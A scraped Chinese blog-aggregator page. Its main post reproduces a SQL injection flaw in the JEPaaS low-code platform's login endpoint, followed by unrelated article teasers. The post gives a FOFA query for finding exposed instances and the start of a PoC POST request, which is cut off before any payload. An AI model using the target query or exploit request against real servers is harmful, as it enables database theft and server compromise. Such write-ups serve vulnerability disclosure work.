当前位置： 首页 > news >正文

JEPaaS 低代码平台 j_spring_security_check SQL注入漏洞复现

news 2026/3/28 14:24:16

0x01 产品简介

JEPaaS是一款优秀的软件平台产品，可视化开发环境，低代码拖拽式配置开发，操作极其简单，可以帮助解决Java项目80%的重复工作，让开发更多关注业务逻辑，大大提高开发效率，能帮助公司大幅节省人力成本和时间成本，同时又不失灵活性。适用于搭建 OA、ERP、CRM、HR、HIS等所有的企业信息管理系统（且适用于集团公司部署）。

0x02 漏洞概述

JEPaaS 低代码平台 j_spring_security_check 接口处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：

body="/saas/saasYhAction!sendRandom.action"

0x04 漏洞复现

PoC

POST /j_spring_security_check HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencodedj_

相关文章：

JEPaaS 低代码平台 j_spring_security_check SQL注入漏洞复现

0x01 产品简介 JEPaaS是一款优秀的软件平台产品，可视化开发环境，低代码拖拽式配置开发，操作极其简单，可以帮助解决Java项目80%的重复工作，让开发更多关注业务逻辑，大大提高开发效率，能帮助公司大幅节省人力成本和时间成本，同时又不失灵活性。适用于搭建 OA、ERP、CRM、…...

编程日记 2024/6/13 12:52:05

天锐绿盾 | 无感知加密软件、透明加密系统、数据防泄漏软件

摘要：文件加密软件,包含禁止非授权的文件泄密和抄袭复制解决方案即使被复制泄密都是自动加密无法阅读,透明加密,反复制软件,内网监控,文件加密,网络安全方案,透明文件加密,加密文件,图纸加密,知识产权保护,加密数据; 通过绿盾信息安全管理软件，系统在不改…...

编程日记 2024/6/13 12:51:04

kubernetes（k8s）集群部署（2）

目录 k8s集群类型 k8s集群规划： 1.基础环境准备： （1）保证可以连接外网 （2）关闭禁用防火墙和selinux （3）同步阿里云服务器时间（达到集群之间时间同步） &…...

编程日记 2024/6/13 12:50:03

Git操作指南

1、提交代码操作 拉取线上分支，防止本地代码提交冲突 git pull origin dev git add . git commit -m “给本次提交添加注释” git push origin dev 2、打分支并切换分支 git checkout -b 新建并切换到新分支 切换到主分支 git checkout main git merge dev git p…...

编程日记 2024/6/13 12:49:03

全域推广和标准推广哪个更好。谁更容易获客？

随着全域概念的兴起，全域推广逐渐走进人们视野，并成为新的互联网热词。在此背景下，与全域推广相关的话题，如全域推广是什么及全域推广和标准推广的区别等成为了许多创业者讨论和搜索的对象。 所谓的全域推广，简单来说…...

编程日记 2024/6/13 12:48:01

首张地下地图！D-Wave 专用量子计算机助力沙特阿美完成地震成像

内容来源：量子前哨（ID：Qforepost） 文丨浪味仙 排版丨沛贤 深度好文：800字丨3分钟阅读 摘要：过去两年中，沙特阿美研究中心一直在使用总部在加拿大的D-Wave 公司的专用量子计算技术，…...

编程日记 2024/6/13 12:43:56

机器学习分类及算法

1. 深度学习 1.1学习算法 1.2基本术语和概念 1.3机器学习分类常用算法 1.3.1线性回归 1.3.2逻辑回归 1.3.3决策树 1.3.4朴素贝叶斯 1.3.5支持向量机SVM 1.3.6K-最近临邻KNN 还有K-均值（k-means）、随机森林、降维、人工神经网络等 1.4超参数和验证集 1.4.…...

编程日记 2024/6/13 12:42:55

电容器连接到 PCB 电源层的过孔配置

为什么我们需要去耦电容器？ 时钟数字IC通常需要大的瞬态电源电流。例如，大型微处理器可以在很短的时间内消耗高达 10 A 的电流。随着 IC 输出的上升/下降时间缩短，我们需要以更高的速率提供瞬态能量。PCB 的电源和接地导体确实存在一定的电感…...

编程日记 2024/6/13 12:41:54

springboot+shiro+jwt 兼容session和token

最近和别的软件集成项目，需要提供给别人接口来进行数据传输，发现给他token后并不能访问我的接口，拿postman试了下还真是不行。检查代码发现项目的shiro配置是通过session会话来校验信息的 ，我之前一直是前后端自己写，用…...

编程日记 2024/6/13 12:38:50

CSS Display(显示)

CSS Display(显示) 概述 CSS（层叠样式表）中的display属性是控制元素如何显示的关键属性。它决定了元素的盒模型类型，即元素是块级元素、内联元素还是其他类型的元素。display属性对于网页布局和元素样式的控制至关重要。 基本用法 块级元…...

编程日记 2024/6/13 12:36:48

【PB案例学习笔记】-20制作一个超链接按钮

写在前面 这是PB案例学习笔记系列文章的第19篇，该系列文章适合具有一定PB基础的读者。 通过一个个由浅入深的编程实战案例学习，提高编程技巧，以保证小伙伴们能应付公司的各种开发需求。 文章中设计到的源码，小凡都上传到了gite…...

编程日记 2024/6/13 12:35:47

Django中使用下拉列表过滤HTML表格数据

在Django中，你可以使用下拉列表（即选择框）来过滤HTML表格中的数据。这通常涉及两个主要步骤：创建过滤表单和处理过滤逻辑。 创建过滤表单 首先，你需要创建一个表单，用于接收用户选择的过滤条件。这个表单可…...

编程日记 2024/6/13 12:34:44

Linux基础 （十五）：TCP 协议特点和UDP协议

上一节，我们学习了TCP协议的服务器-客户端的编程流程以及对中间的过程进行了详细的讨论，那么，这一节，我们对于TCP协议的特点进行进一步的分析，这也是面试的重点和难点。 目录 一、TCP 协议特点 1.1 连接的建立与断…...

编程日记 2024/6/13 12:31:41

python替换word文件中的图片

python替换word文件中的图片 模拟鼠标键盘，截屏 import glob import os import timeimport pyautogui import pyautogui as p from PIL import ImageGrab from pynput.keyboard import Controller# -*- coding:utf-8 -*-directory ./directory1 ./outputfor f i…...

编程日记 2024/6/13 12:30:40

Servlet-01

文章目录 Servlet创建Servlet探究Servlet的生命周期 HttpServletWebServlet注解详解 重定向与请求转发ServletContextServletContext中的接口 HttpServletRequestHttpServletResponse状态码解释Cookie Servlet Q：它能做什么呢？ A：我们可以通…...

编程日记 2024/6/13 12:29:39

C语言：链表

链表 介绍单向链表节点结构创建节点插入节点删除节点遍历链表尾部插入查找节点链表反转示例程序程序1程序2 介绍 链表是一种常见的数据结构，用于存储一系列线性数据。与数组不同，链表中的元素在内存中不必是连续存放的，而是通过指针将每个元…...

编程日记 2024/6/13 12:28:37

【git使用二】gitee远程仓库创建与本地git命令用法

目录 gitee介绍 管理者注册gitee账号 管理者在gitee网站上创建远程仓库 每个开发者安装git与基本配置 1.git的下载和安装 2.配置SSH公钥 3.开发者信息配置 git命令用法 gitee介绍 Gitee（又称码云）是一个基于Git的代码托管服务，由开源…...

编程日记 2024/6/13 12:27:36

明星百科大全PHP网站源码

源码介绍 明星百科大全网站源码，国内外明星娱乐音乐、新闻八卦、写真照片、相关影视作品等等的明星百科网站源码。 源码截图 源码下载 明星百科大全PHP网站源码...

编程日记 2024/6/13 12:26:34

白酒：茅台镇白酒的品鉴会与文化交流活动

茅台镇，这个位于中国贵州省的小镇，因其与众不同的自然环境和杰出的酿酒工艺而成为世界著名的白酒产区。云仓酒庄豪迈白酒作为茅台镇的品牌，积极参与各种品鉴会和文化交流活动，向世界展示了中国白酒的魅力和文化底蕴。 近年来&…...

编程日记 2024/6/13 12:25:30

python中列表结构在点云数据处理中用法

1、前言 Python中的列表（list）是一种可变的序列类型，用于存储集合数据。列表用途非常广泛，包括但不限于以下几个方面： 存储集合数据：列表用于存储一系列有序的元素，这些元素可以是任何数据类型&…...

编程日记 2024/6/13 12:24:29

AndEngine跨平台开发指南：如何适配不同分辨率的Android设备

AndEngine跨平台开发指南：如何适配不同分辨率的Android设备 【免费下载链接】AndEngine Free Android 2D OpenGL Game Engine 项目地址: https://gitcode.com/gh_mirrors/an/AndEngine AndEngine作为一款免费的Android 2D OpenGL游戏引擎，为开发者…...

编程新知 2026/3/28 13:22:09

快速上手FNF PsychEngine：3大核心功能完全指南

快速上手FNF PsychEngine：3大核心功能完全指南 【免费下载链接】FNF-PsychEngine Engine originally used on Mind Games mod 项目地址: https://gitcode.com/gh_mirrors/fn/FNF-PsychEngine FNF PsychEngine是一款专为《周五夜放克》（Friday Nig…...

编程新知 2026/3/28 11:35:26

手机高频麦克风音频采样技术

随着移动终端音频应用的多元化发展，从超声通信、高频声纹识别到医疗级音频监测，对手机麦克风的高频采样能力提出了更高要求。手机高频麦克风音频采样技术，是实现高频音频信号捕捉、传输与后续处理的核心支撑，其性能直接决定了高频…...

编程新知 2026/3/28 11:31:25

数据中心升级选卡指南：Intel X710 vs. Mellanox MCX4121A，10G网卡实战对比与避坑心得

数据中心网络升级实战：Intel X710与Mellanox MCX4121A深度评测与选型策略 当数据中心面临网络升级时，10G双端口网卡的选择往往成为关键决策点。作为基础设施的核心组件，网卡性能直接影响虚拟化效率、存储吞吐和业务连续性。本文将基于实际部署…...

编程新知 2026/3/28 11:13:16

Fish Speech 1.5开源模型合规指南：商用授权范围与衍生作品注意事项

Fish Speech 1.5开源模型合规指南：商用授权范围与衍生作品注意事项 Fish Speech 1.5 以其出色的多语言语音合成能力，正吸引着越来越多的开发者和企业将其集成到自己的产品中。然而，开源模型的使用并非“法外之地”，尤其是当你计划…...

编程新知 2026/3/28 11:11:16

tidal-dl-ng：解锁HiRes音乐体验的TIDAL媒体下载解决方案

tidal-dl-ng：解锁HiRes音乐体验的TIDAL媒体下载解决方案 【免费下载链接】tidal-dl-ng TIDAL Media Downloader Next Generation! Up to HiRes / TIDAL MAX 24-bit, 192 kHz. 项目地址: https://gitcode.com/gh_mirrors/ti/tidal-dl-ng 音乐收藏的数字化时代…...

编程新知 2026/3/28 10:28:58

Qwen2.5-VL-7B-Instruct详细步骤：GPTQ量化模型加载与推理加速技巧

Qwen2.5-VL-7B-Instruct详细步骤：GPTQ量化模型加载与推理加速技巧 1. 项目概述 Qwen2.5-VL-7B-Instruct是一款强大的多模态视觉-语言模型，能够同时处理图像和文本输入，生成高质量的响应。本指南将详细介绍如何通过GPTQ量化技术来优化模型加…...

编程新知 2026/3/28 9:38:28

深度学习赋能有限元：AI时代的高效仿真

https://mp.weixin.qq.com/s/vDRBNvQfEqf-2U6nEeO5Ow 点击此链接查看详情！ 第一天：深度学习与有限元基础 1.有限元分析基础：从理论到实战：【理论知识代码实操】 1.1有限元法的基本原理，如网格划分和节点分析。 1.…...

编程新知 2026/3/28 9:26:23

AI和苹果夹逼，国产手机顶不住了，网传大规模人才优化已在进行中

某已没落的手机企业在转卖后，近期又传出重大消息，只是这次是相当悲惨的消息，手机硬件研发被砍掉，半数员工就地解散，揭开了手机行业人才优化的序幕，其实手机行业的这种操作早在去年底就已悄然进行&#xff0…...

编程新知 2026/3/28 8:33:53

Kaggle Notebook中文乱码终结者：3分钟搞定Matplotlib字体配置（附Noto Sans CJK全流程）

Kaggle Notebook中文乱码终结者：3分钟搞定Matplotlib字体配置（附Noto Sans CJK全流程） 在数据可视化过程中，中文显示问题一直是困扰许多Kaggle用户的痛点。当你在Notebook中满怀期待地运行代码，却发现图表中的中文变成…...

编程新知 2026/3/28 6:56:53